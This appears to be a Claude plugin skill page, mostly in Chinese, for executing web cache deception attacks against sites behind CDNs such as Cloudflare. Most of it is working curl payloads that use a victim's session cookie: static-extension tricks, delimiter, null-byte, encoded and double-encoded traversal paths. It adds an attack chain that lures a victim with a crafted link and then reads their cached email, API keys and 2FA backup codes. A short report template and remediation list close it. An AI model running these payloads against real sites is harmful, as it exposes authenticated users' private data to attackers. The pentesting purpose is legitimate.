Executes web cache deception attacks by exploiting path normalization differences between CDNs and origin servers to cache sensitive authenticated content. Useful for security testing apps behind Cloudflare or Nginx.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试位于 CDN 或反向代理(Cloudflare、Akamai、Varnish、Nginx)之后的应用程序时
Executes web cache deception attacks exploiting path normalization discrepancies in CDNs like Cloudflare to cache sensitive authenticated content. For pentesting cached web apps.
Executes web cache deception attacks exploiting CDN path normalization (Cloudflare, Akamai) to cache sensitive authenticated pages as static resources. For pentesting apps with caching misconfigs.
Detects HTTP cache poisoning and web cache deception vulnerabilities via config grep patterns for Nginx, Varnish, Apache mod_cache, and CDNs during pentests.
Share bugs, ideas, or general feedback.
# 确认是否存在缓存层
curl -I http://target.com/account/profile
# 关注:X-Cache、CF-Cache-Status、Age、Via、X-Varnish 头部
# 检查静态扩展名的缓存规则
curl -I "http://target.com/static/style.css"
# 关注:X-Cache: HIT、CF-Cache-Status: HIT、Age: >0
# 识别哪些扩展名会被缓存
for ext in css js png jpg gif svg ico woff woff2 pdf; do
echo -n "$ext: "
curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
done
# 经典 Web 缓存欺骗:向动态 URL 追加静态扩展名
# 受害者访问:http://target.com/account/profile/nonexistent.css
# 若源服务器返回个人资料页面,且 CDN 基于 .css 扩展名对其进行缓存:
# 步骤 1:以受害者身份(已认证),访问:
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"
# 步骤 2:以攻击者身份(未认证),请求相同 URL:
curl "http://target.com/account/profile/anything.css"
# 若返回受害者的个人资料数据,则缓存欺骗攻击已确认
# 测试各种扩展名
for ext in css js png jpg svg ico woff2; do
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
sleep 2
echo -n "$ext: "
curl -s "http://target.com/account/profile/x.$ext" | head -c 200
echo
done
# 使用 CDN 和源服务器解析方式不同的路径分隔符
# 分号分隔符(CDN 忽略,源服务器处理)
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"
# 编码字符
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"
# 空字节注入
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"
# 片段标识符滥用
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"
# 点路径段规范化
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"
# 路径遍历规范化差异
# CDN 规范化:/account/profile/../static/x.css -> /static/x.css(被缓存)
# 源服务器看到:/account/profile(返回动态页面)
curl -b "session=VICTIM" "http://target.com/static/../account/profile"
# 若 CDN 与源服务器规范化方式不同,可能将其缓存为 /account/profile
# 编码路径遍历
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"
# 大小写敏感性差异
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"
# 双重编码路径
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"
# 识别缓存键组成部分
# CDN 可能使用:协议 + 主机 + 路径(不含查询字符串)
# 测试查询字符串是否影响缓存
curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"
# 测试 CDN 使用完整路径还是规范化路径作为缓存键
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
curl "http://target.com/account/profile/./style.css" # 检查是否被缓存
# 基于头部的缓存键操控
curl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \
"http://target.com/static/cached.css"
# 完整攻击链:
# 1. 构造恶意 URL:http://target.com/account/profile/x.css
# 2. 将 URL 发送给受害者(通过社会工程学、邮件等)
# 3. 受害者在已认证状态下点击链接
# 4. CDN 缓存已认证的响应
# 5. 攻击者以未认证状态请求相同 URL
# 6. CDN 将缓存的已认证内容提供给攻击者
# 验证缓存状态
curl -I "http://target.com/account/profile/x.css"
# 确认:X-Cache: HIT 或 CF-Cache-Status: HIT
# 检查暴露的敏感数据
curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn"
| 概念 | 定义 |
|---|---|
| 缓存欺骗(Cache Deception) | 欺骗 CDN 将已认证的动态内容作为静态资源进行缓存 |
| 路径规范化(Path Normalization) | CDN 与源服务器对路径段(../、;、编码字符)的不同解析方式 |
| 缓存键(Cache Key) | CDN 用于存取缓存响应的标识符(通常为 URL 路径) |
| 静态扩展名技巧(Static Extension Trick) | 向动态 URL 追加 .css/.js/.png 以触发缓存行为 |
| 分隔符差异(Delimiter Discrepancy) | 缓存层与源服务器对 ;、?、# 字符的不同解释 |
| 缓存投毒 vs 缓存欺骗(Cache Poisoning vs Deception) | 投毒影响所有用户的缓存;欺骗缓存特定受害者的数据 |
| Vary 头部(Vary Header) | 控制哪些请求属性影响缓存键的 HTTP 头部 |
| 工具 | 用途 |
|---|---|
| Burp Suite | HTTP 代理,用于构造缓存欺骗请求 |
| curl | 命令行测试缓存行为和响应头部 |
| Web Cache Vulnerability Scanner | 自动检测缓存欺骗/投毒的工具 |
| Param Miner | Burp 扩展,用于发现未纳入缓存键的参数 |
| Cloudflare Diagnostics | 分析 CF-Cache-Status 和 cf-ray 头部 |
| Varnish CLI | 直接检查基于 Varnish 的缓存配置 |
## Web 缓存欺骗报告
- **目标**:http://target.com
- **CDN**:Cloudflare
- **漏洞**:通过追加静态扩展名实现基于路径的缓存欺骗
### 缓存行为分析
| 扩展名 | 是否被缓存 | Cache-Control | TTL |
|-----------|--------|---------------|-----|
| .css | 是 | public, max-age=86400 | 24h |
| .js | 是 | public, max-age=86400 | 24h |
| .png | 是 | public, max-age=604800 | 7d |
### 利用结果
| 受害者 URL | 缓存数据 | 敏感字段 |
|-----------|-------------|-----------------|
| /account/profile/x.css | 完整个人资料页面 | 邮箱、姓名、API Key |
| /account/settings/x.js | 设置页面 | 双因素认证备用码 |
### 修复建议
- 配置 CDN 对动态页面遵守 Cache-Control: no-store
- 在已认证端点实施 Vary: Cookie 头部
- 使用基于路径的路由规则,拒绝非预期扩展名
- 在 CDN 与源服务器之间启用一致的路径规范化